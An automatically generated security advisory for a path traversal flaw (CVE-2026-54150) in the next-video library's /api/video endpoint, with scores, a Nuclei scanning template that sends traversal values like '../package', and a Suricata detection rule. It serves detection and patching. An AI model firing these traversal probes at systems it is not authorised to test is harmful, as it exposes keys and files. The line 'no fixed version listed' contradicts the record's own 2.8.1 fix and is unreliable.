CVE-2026-54150: next-video: Unauthenticated arbitrary file read via /api/video request handler

What it is

next-video is a library for adding video to Next.js applications. Prior to 2.8.1, the GET endpoint exported by next-video/request-handler and commonly mounted at /api/video accepts an unauthenticated url query parameter, while src/utils/utils.ts isRemote() treats any value without an HTTP or HTTPS prefix as a local path. src/request-handler.ts passes that value through src/assets.ts getAssetPath() to src/config.ts loadAsset(), which appends a JSON suffix and uses fs.readFile without canonicalizing the path or verifying that it remains inside the configured video folder. A remote attacker can therefore escape the intended asset directory and read JSON files accessible to the application process, including Next.js server-action encryption material, preview-mode keys, build manifests, route metadata, absolute paths, and application video asset identifiers. Applications that do not expose the runtime request handler are not affected through this route. This issue is fixed in version 2.8.1.

Description quoted from the CVE record (assigned by GitHub_M, published 2026-09-14).

Weakness: CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’)

How it can be exploited

Exploitable over the network with low attack complexity with no special attack requirements needing no privileges and no user interaction. Impact: confidentiality low, integrity none, availability none. CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

CISA assessment (SSVC): CISA has no evidence of exploitation. Automatable: yes. Technical impact: partial.

Public exploit evidence (Exploit Observer)

Exploit Observer found 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 10 references on Exploit Observer

Live scores

EPSS

0.004
low predicted chance of attack

VEDAS

0.987
strong exploit evidence

On CISA KEV

Not listed

Detection rule

Nuclei · Suricata

Who is affected

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

next-video - Path Traversal Arbitrary JSON File Read via request-handler

muxinc/next-video before 2.8.1 exposes a GET request handler (commonly mounted at /api/video) that accepts a `url` query parameter. Values that do not begin with http:// or https:// are treated as local filesystem paths: the handler appends a `.json` suffix and reads the file without canonicalizing the path or confirming it stays inside the configured video folder. An unauthenticated remote attacker can read arbitrary JSON files the application process can access (for example the project package.json or Next.js build manifests).

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (GET /api/video?url=package, GET /api/video?url=../package, GET /api/video?url=../../package); it decides using dsl matchers. Severity in the template: medium. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

nuclei -u https://your-host -t CVE-2026-54150.yaml

id: CVE-2026-54150

info:
  name: "next-video - Path Traversal Arbitrary JSON File Read via request-handler"
  author: vedas-arpsyndicate
  severity: medium
  description: |
    muxinc/next-video before 2.8.1 exposes a GET request handler (commonly mounted at /api/video) that accepts a
    `url` query parameter. Values that do not begin with http:// or https:// are treated as local filesystem
    paths: the handler appends a `.json` suffix and reads the file without canonicalizing the path or confirming
    it stays inside the configured video folder. An unauthenticated remote attacker can read arbitrary JSON files
    the application process can access (for example the project package.json or Next.js build manifests).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-54150&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=next-video&match=exact
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 6.9
    cve-id: CVE-2026-54150
    cwe-id: CWE-22
  metadata:
    verified: false
    max-request: 3
  tags: cve,cve2026,next-video,nextjs,lfi,traversal,muxinc

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/video?url=package"
      - "{{BaseURL}}/api/video?url=../package"
      - "{{BaseURL}}/api/video?url=../../package"
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "\"version\":")'
          - 'contains(body, "\"dependencies\":") || contains(body, "\"devDependencies\":") || contains(body, "\"scripts\":")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and

CVE-2026-54150.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-54150 next-video - Path Traversal Arbitrary JSON File Read via request-handler Attempt. Add them to your Suricata rule set and reload.

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-54150 next-video - Path Traversal Arbitrary JSON File Read via request-handler Attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/api/video"; nocase; fast_pattern; content:"url="; nocase; pcre:"/[?&]url=(?!https?(?:%3a|:))/i"; classtype:web-application-attack; reference:cve,CVE-2026-54150; reference:url,https://www.exploit.observer/?keyword=CVE-2026-54150&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=next-video&match=exact; sid:1053000; rev:1;)

CVE-2026-54150.rules on GitHub

References

Other references

• https://github.com/muxinc/next-video/security/advisories/GHSA-2p39-2jf3-fv2q (x_refsource_CONFIRM)
• https://github.com/muxinc/next-video/commit/73abf1d534c2ac48db546ecfed0e89cbaf124f6f (x_refsource_MISC)
• https://github.com/muxinc/next-video/releases/tag/v2.8.1 (x_refsource_MISC)

Other databases

• CVE record (cve.org)
• NVD
• Exploit Observer

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.